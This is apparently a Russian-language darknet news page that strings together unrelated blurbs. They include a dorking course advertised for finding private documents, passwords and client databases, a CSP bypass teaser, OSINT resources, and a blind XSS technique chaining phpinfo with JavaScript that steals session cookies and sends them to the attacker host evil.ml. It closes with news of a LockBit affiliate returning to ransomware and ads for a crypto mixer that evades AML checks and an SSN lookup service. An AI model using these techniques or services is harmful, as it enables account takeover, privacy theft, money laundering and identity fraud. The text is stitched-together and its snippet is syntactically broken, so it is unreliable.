Мануал по работе с сетями от bassterlord fisheye

Зеркало Интернета. Используем поисковые системы профессионально. Поиск приватной информацииМы используем поисковые системы каждый день для поиска той или иной информации. В этом курсе мы будем учиться это делать профессионально и делать это по шагам с практическими примерами. Вы научитесь используя поисковые системы профессионально — искать быстрее, получать более полную и более точную информацию. Вы научитесь искать приватную информацию.

Примеры практического использования навыка, который демонстрировался в курсе:
— мы увидели список пользователей знаменитой облачной crm;
— мы нашли свежие сканы личных документов;
— мы нашли закрытую базу данных клиентов компании с их контактами;
— мы много раз находили доступ к разной чувствительной информации: документы, базы, пароли, доступы;
— мы поискали релевантные страницы сайта для перелинковки;
— мы нашли таргетированные базы электронных почт под рассылку;

Огромный курс по поиску с использованием дорков в различных поисковых системах (Google, Shodan, Ya, Bing).

Если разработчикам внезапно пришла идея, что было бы неплохо настроить CSP в своем веб-приложении, то, как правило, не имея в этом опыта, многие часто совершают ошибки или допускают их намеренно. Например, добавляя недопустимые «unsafe-inline» и «unsafe-eval», чтобы не ловить лишний раз false positive. В данном случае мы обойдем мисконфиг с директивой img-srс на единственный доверенный внешний источник, применив магию стеганографии.

https://telegra.ph/cybred-02-11

Project Apario — поисковик по рассекреченным документам с открытым исходным кодом. Создан поклонником Джона Кеннеди и теорий заговора после того, как Национальный архив опубликовал огромное количество материалов об убийстве экс-президента общим объемом более 500 000 страниц.

Изначально агрегировал и индексировал только данные, относящиеся непосредственно к убийству Кеннеди, и связанных с ним случаев, вроде расправы над Мартином Лютером Кингом. Но в настоящее время в OSINT-коллекции можно найти и другие документы на тему актуальных событий.

Кроме полезного источника документации, может послужить хорошим источников материалов для RT или Панорамы. Автор тегирует некоторые документы со своими комментариями, — от выводов про заговор Билла Гейтса и Эпштейна для чипирования, и создания медицинского фашизма, до торговли детьми, которую организует ЦРУ. Pizzagate, FauciGate, RussiaGate — все тут.

Перевод расследования одного из участников проекта Bellingcat о недавних атаках на больницы силами безопасности Судана на фоне протестов против военного переворота, совершенного в октябре 2021 года.

https://telegra.ph/cybred-01-31

OSINT-Библиотека, в которой суммарно собрано более сотни академических исследований, профессиональных книг, статей и документов от разных авторов на любимую многими тему разведки в сети.

Список постоянно пополняется новыми материалами, поэтому желающие могут отслеживать изменения при помощи VisualPing или Versionista.

Манифест 12-факторного приложения — методология по созданию SaaS-приложений, которые отвечали бы современным стандартам безопасности, обладали максимальной переносимостью между средами выполнения, и подходили бы для развертывания на облачных платформах.

Некоторые факторы из манифеста: единая кодовая база, утилизируемость, явное объявление и изоляция зависимостей, безопасная передача секретов и их хранение.

Обновлено до версии 8.4.3 от 12 января

SHA256: bc742702c5be712e604ebf7b475d6a53c3ae4f3f95fc278de22b201825abc33d

Найдя phpinfo на сайте, как показывают многие кейсы на H1, багхантеры сразу же бегут сообщать о своей находке компании, чтобы получить, как правило, минимальную выплату (особенно, когда не утекли никакие особо критичные секреты).

Многие вообще незаслуженно остаются без денег из-за «Out of Scope». Поэтому есть более интересный способ воспользоваться найденной страницей, объединив несколько багов в цепочку и увеличив тем самым критичность.

В данном случае интересует объединение phpinfo с Blind XSS. Так как сейчас тяжело встретить нужную нам куку PHPSESSID (или любую ей аналогичную) без флага HttpOnly, напрямую выкрасть ее сразу не удастся, придется обойти ограничение.

Тут нам и пригодится ранее найденный phpinfo. Не стоит забывать, что помимо информации об ОС и некоторых других, в данном случае, нам неинтересных данных, эта страница также отображает куки зашедшего на нее пользователя.

Поэтому в пэйлоаде, эксплуатирующем Blind XSS, можно сделать от имени пользователя отдельный fetch на phpinfo и спарсить его куки, которые там отобразятся, при помощи следующего регекспа /HTTP_COOKIE.+?</td><td.+?>([wW]+?)</td>/.

Далее необходимо будет доставить их на наш сервер, обойдя CORS. Это также делается достаточно просто, на примере тега script:
let scr = document.createElement('script');
scr.src = https://evil.ml/?${cookie_var};
document.head(scr);

Мы добавляем его на страницу динамически и отправляем извлеченные ранее куки с phpinfo на собственный сервер, обходя политику. Все, что останется сделать — дождаться отстука и пойти проверить access логи.</td>

Поделиться

Bassterlord X LockBit

XSS: Бывший партнер REvil, Lockbit и Avaddon по имени Bassterlord (FishEye) возобновляет работу с вымогателями Lockbit с 1 марта.

RuNews|DarkNews.pro|EngNews
🪙CRYPTO SPACE GROUP – 🤔Анонимный миксер крипты. 🟢Оборвём и запутаем все цепочки связей. AML 0-25%. Снятие без верифа и документов. API подключения

SSN 24/7 — LOOKUP SSN/DOB DL BG CR CS️

Читайте на Dark News

подпишись
на наш
телеграм
канал

DARK

NEWS

🇺🇸 Darknet news (English translate)

МежФорумный 👥🛡(чат)